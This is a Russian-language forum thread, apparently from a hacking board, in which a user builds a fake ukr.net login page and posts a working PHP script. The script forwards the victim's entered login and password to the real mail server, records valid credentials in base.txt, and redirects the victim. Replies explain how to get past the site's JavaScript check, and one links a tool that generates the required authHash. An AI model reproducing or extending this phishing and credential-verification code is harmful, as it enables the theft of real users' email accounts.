Просмотр полной версии : Отключенный javascript
Делаю фейк ukr.net с проверкой авторизации. Идет отсылка на сервер данных, после чего анализация ответа и на основе этих данных уже выносим вердикт: верен ли пас или нет. Проблема в том, что хост проверяет наличие включенного javascript и если таковой не оправдывает ожидания, то вообще обрубает нахрен все попытки отослать запрос на авторизацию, мотвивируя тем, что без явы у вас ничего не выйдет путного. Вопрос: как можно "объяснить" серверу, что у меня ява-таки включена путем отсылки заголовков? Спасибо :)
Смею предположить, что используешь PHP. Как отправляешь запрос на сервер, соксами или с помощью curl?
Сам скрипт отправки:
<?php
$login = $_POST['login'];
$pass = $_POST['password'];
$domain = $_POST['domainname'];
$login = 'helloworld';
$pass = '123456';
$fp = fsockopen('freemail.ukr.net', 80, $errno, $errstr, 30);
if (!$fp) die('<p>'.$errstr.' ('.$errno.')</p>');
$data = "backURL=http%3A%2F%2Fwww.ukr.net%2F&Challenge=17b4577ec6c587490be96663f27bc9fb&Submit=Submit&Login=$login&Password=$pass&submit=%D0%92%D0%BE%D0%B9%D1%82%D0%B8";
$headers = "POST /q/splash HTTP/1.1\n"; // отвечает за тип протокола!
$headers .= "Host: freemail.ukr.net\n";
$headers .= "Connection: close\n";
$headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 8; Windows 5.1)\r\n";
$headers .= "Content-Type: application/x-www-form-urlencoded\r\n";
$headers .= "Content-Length: ".strlen($data)."\r\n\r\n".$data;
fwrite($fp, $headers.$data);
while ( !feof($fp) ) $line .= fgets($fp, 1024);
fclose($fp);
$auth=0;
$text="EPOSTMAILSESSIONID";
if(preg_match("/$text/i", "$line")) {$auth=1;} else {$auth=0;}
echo $line;
if($auth==1)
{
$file=fopen("base.txt", "a");
fwrite($file, "$login@$domain:$pass\r\n");
fclose($file); { header("location: http://mail.km.ru/folders/folders.htm");} }else { header("location: index.php"); }
?>
Скрипт выведет ответ от сервера. Там все видно :)
наверняка там яваскриптовый код , при нажатии кнопки входа он исполняется и какому-то параметру в hidden поле присваивается значение, которое говорит о том, что js включен. Соотвественно, если js выключен - то этого значения не будет. И уже скрипт на серваке смотрит есть ли оно или нет. Поэтому отследи все параметры передаваемые на сервак при авторизации.
ща глянул... Там по ходу если что-то такое и есть, то в самом скрипте происходит т.к. нету вообще никаких опознавательных знаков, которые могли бы свидетельствовать о каких-либо проверках и тому подобого. Тупо blablabla код 'Пожалуйста, включите javascript' и т.д. Никаких проверок я не увидел. Видать, на сервере процесс происходит :(
серверные скрипты не могут самостоятельно определить включен или нет яваскрипт
Pashkela
23.07.2009, 21:07
всё есть на ачаде, имеющий ухи да обрящет:
https://forum.antichat.ru/showpost.php?p=1302135&postcount=33
Пшкела, немного не то имхо. Мне не нужно ничего делать с этой страницей. Мне нужно дать серву понять, что у меня включен яваскрипт и все. Ничего делать в итоге мне не нужно. P.S. Он определяет наличие включенного яваскрипта сразу после захода т.е. без всяких нажатий. В коде не могу ничего найти. Помогите, плз. http://ukr.net
Pashkela
24.07.2009, 00:04
ты в исходники-то смотрел? Там один сплошной яваскрипт, начиная с определения языка и etc.
Кнопок он не жал. А их жать и не надо
Млять, смотрел. Кароче, разобрался. Хер там чо сделаешь.
FireFenix
26.07.2009, 01:28
http://rapidshare.com/files/260020104/freemail.ukr.net.rar.html
antiJS - генерация хеша authHash к паролю и Challenge
freemail.php - curl + авторизация
POST запрос идёт в виде
backURL=&Challenge=45f2db951ba1cae4773a07618d5c5b65&Login=login&Password=&Submit=Submit&authHash=115dc32c36cf731600a96ec1d1f6eecd&x=44&y=15
где authHash генерится из Challenge и Password
x и y судя произвольные переменные
Спс. И ты мне говоришь "руки не из того места". У меня не 20 лет опыта программирования, а всего лишь пару месяцев... я даже понятие не имел, что там можно вообще сделать с этим. Ещё раз спасибо :)
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot